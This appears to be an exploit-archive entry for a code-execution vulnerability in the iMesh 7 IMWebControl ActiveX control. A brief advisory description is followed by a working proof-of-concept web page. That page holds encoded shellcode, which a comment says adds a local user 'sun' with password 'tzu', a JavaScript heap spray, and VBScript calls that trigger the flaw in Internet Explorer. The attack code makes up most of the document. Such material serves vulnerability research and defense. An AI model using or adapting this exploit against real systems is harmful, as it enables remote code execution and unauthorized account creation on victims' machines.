iMesh 7 - 'IMWebControl' ActiveX Control Code Execution Vulnerability



source: http://www.securityfocus.com/bid/26916/info



iMesh is prone to a code-execution vulnerability because the application fails to sanitize user-supplied data, which can lead to memory corruption.

Successfully exploiting this issue allows remote attackers to execute arbitrary code in the context of the application using an affected ActiveX control (typically Internet Explorer). Failed exploit attempts likely result in denial-of-service conditions.

iMesh 7.1.0.37263 and prior versions are reported affected by this issue. 

<html>
<object classid=&#039;clsid:7C3B01BC-53A5-48A0-A43B-0C67731134B9&#039; 
id=&#039;IMWebControl&#039; /></object>
<SCRIPT language="javascript">
//add su one, user: sun pass: tzu
shellcode = 
unescape("%u03eb%ueb59%ue805%ufff8%uffff%u4949%u3749%u4949%u4949%u4949%u4949%u4949%u4949%u4949%u5a51%u456a%u5058%u4230%u4231%u6b41%u4141%u3255%u4241%u3241%u4142%u4230%u5841%u3850%u4241%u6d75%u6b39%u494c%u5078%u3344%u6530%u7550%u4e50%u716b%u6555%u6c6c%u614b%u676c%u3175%u6568%u5a51%u4e4f%u306b%u564f%u4c78%u414b%u774f%u4450%u4841%u576b%u4c39%u664b%u4c54%u444b%u7841%u466e%u6951%u4f50%u6c69%u6b6c%u6f34%u3330%u6344%u6f37%u6a31%u646a%u474d%u4871%u7842%u4c6b%u6534%u716b%u5144%u6334%u7434%u5835%u6e65%u736b%u646f%u7364%u5831%u756b%u4c36%u644b%u624c%u6c6b%u634b%u656f%u574c%u7871%u4c6b%u774b%u4c6c%u464b%u7861%u4f6b%u7379%u516c%u3334%u6b34%u7073%u4931%u7550%u4e34%u536b%u3470%u4b70%u4f35%u7030%u4478%u4c4c%u414b%u5450%u4c4c%u624b%u6550%u6c4c%u6e6d%u626b%u6548%u6858%u336b%u6c39%u4f4b%u4e70%u5350%u3530%u4350%u6c30%u704b%u3568%u636c%u366f%u4b51%u5146%u7170%u4d46%u5a59%u6c58%u5943%u6350%u364b%u4230%u7848%u686f%u694e%u3170%u3370%u4d58%u6b48%u6e4e%u346a%u464e%u3937%u396f%u7377%u7053%u426d%u6444%u756e%u5235%u3058%u6165%u4630%u654f%u3133%u7030%u706e%u3265%u7554%u7170%u7265%u5353%u7055%u5172%u5030%u4273%u3055%u616e%u4330%u7244%u515a%u5165%u5430%u526f%u5161%u3354%u3574%u7170%u5736%u4756%u7050%u306e%u7465%u4134%u7030%u706c%u316f%u7273%u6241%u614c%u4377%u6242%u524f%u3055%u6770%u3350%u7071%u3064%u516d%u4279%u324e%u7049%u5373%u5244%u4152%u3371%u3044%u536f%u4242%u6153%u5230%u4453%u5035%u756e%u3470%u506f%u6741%u7734%u4734%u4570");
bigblock  = unescape("%u9090%u9090");
headersize = 20;
slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (i=0;i<77;i++){memory[i] = block+shellcode}
bigblock  = unescape("%u0707%u0707");
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
for (i=77;i<144;i++){memory[i] = block+shellcode}
bigblock  = unescape("%u0909%u0909");
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
for (i=144;i<500;i++){memory[i] = block+shellcode}
</script>
<script language=&#039;vbscript&#039;>
puf=218959117 &#039;set ecx to 0x0d0d0d0d
IMWebControl.SetHandler puf
puf=""
IMWebControl.ProcessRequestEx puf
</script>
</html>